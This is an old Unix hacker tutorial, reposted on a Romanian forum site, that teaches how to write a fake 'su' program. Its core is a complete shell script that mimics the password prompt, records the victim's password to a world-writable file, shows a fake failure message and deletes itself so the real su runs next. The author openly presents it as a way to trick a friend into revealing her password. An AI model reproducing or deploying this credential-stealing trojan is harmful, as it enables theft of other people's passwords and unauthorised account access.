Va multumim pentru eventualul vot pe care ni-l
puteti acorda cu un singur click :
Aduti si tu contributia la dezvoltarea pc-dojo. Un vot inseamna un
sustinator, o persoana care este de acord cu noi, un motiv suplimentar
de mentinere pc-dojo pe net-ul romanesc.
Tzoale de hackeri:
Website Owners: Start making real money on a pay per click basis. 10 cents!
Codin` skillzde bugghy
/---------------\
| Codin` skillz |
\---------------/
v1.0a
Part one
Written by: Bugghy
E-mail: bugghy@home.ro
URL: www.bugghy.home.ro
Comments/errors/bugs/jokes > bugghy@home.ro
CONTENTS
=====================================
1. Introduction
2. Theory
3. CODE
4. Problems as they appear
5. Link of the day
6. Last words
=====================================
1. Introduction
===============
In these series of tutorials I'm gonna teach you how to write some nice
stuff. If you wanna send me some code that's on the subject, mail me.
2. Theory
=========
I hope you know some basic bash. Even so, I'll comment my code. Ever
wanted to trick some friend to give you her *yes a girl* pass ? In Part one of
these series I'll teach you how to make a fake su program.
3. CODE
=======
----------su.c----------
#!/bin/sh
# Note:
# 1) /home/bugghy/.pass must be world writable
# 2) path must have "." before "/bin" aka "export PATH=.:$PATH"
# First we type "Password: "
echo -n "Password: " # -n = without the newline character
# Second we read the password to a variable
read -s PASS # -s = without echo on the screen
# Third we wait then give an error
sleep 3 # 3 seconds pause
echo "" # new line
echo "su: incorrect password" # adjust it to your system
# Fourth we send the pass to our file.
echo " $1 has pass: $PASS" >> /home/bugghy/.pass # $1 = user
# Last we delete tracks so /bin/su is executed next
rm -f su # no the program su will act normally
----------su.c----------
4. Problems as they appear
==========================
Good points:
Gets the passes.
Experiment with it, change some things, make it look like the real su.
Bad points:
Needs heavy adjustment for your system.
Easily noticed, try running the existing su first and make it like that.
Needs some colaboration from the target.
5. Link of the day
==================
Another wargame: www.lameindustries.org
6. Last words
=============
If you wanna clarify some misunderstandings in the text, add something,
bugs/comments/... mail bugghy@home.ro
THE USUAL DISCLAIMER:
---------------------
This file is for [of course] informational purposes only. I
don't take responsibility for anything anyone does after reading this file.
Gr33tz:
vMatriCS.nET , anyone that helped me (they know who they are)
Forumul pc-dojo si-a mutat locatia, aspectul si rubricile. Daca linkul din site catre forum va duce tot catre vechiul forum dati cateva refreshuri pe http://forum.pc-dojo.ro si ar trebui sa mearga... de obicei dureaza cam 24 de ore pana se propaga update-urile de dns. Adaugata de body00, c0der.
Forumul pc-dojo si-a mutat locatia, aspectul si rubricile. Daca linkul din site catre forum va duce tot catre vechiul forum dati cateva refreshuri pe http://forum.pc-dojo.ro si ar trebui sa mearga... de obicei dureaza cam 24 de ore pana se propaga update-urile de dns. Adaugata de body00, c0der.
Forumul pc-dojo si-a mutat locatia, aspectul si rubricile. Daca linkul din site catre forum va duce tot catre vechiul forum dati cateva refreshuri pe http://forum.pc-dojo.ro si ar trebui sa mearga... de obicei dureaza cam 24 de ore pana se propaga update-urile de dns. Adaugata de body00, c0der.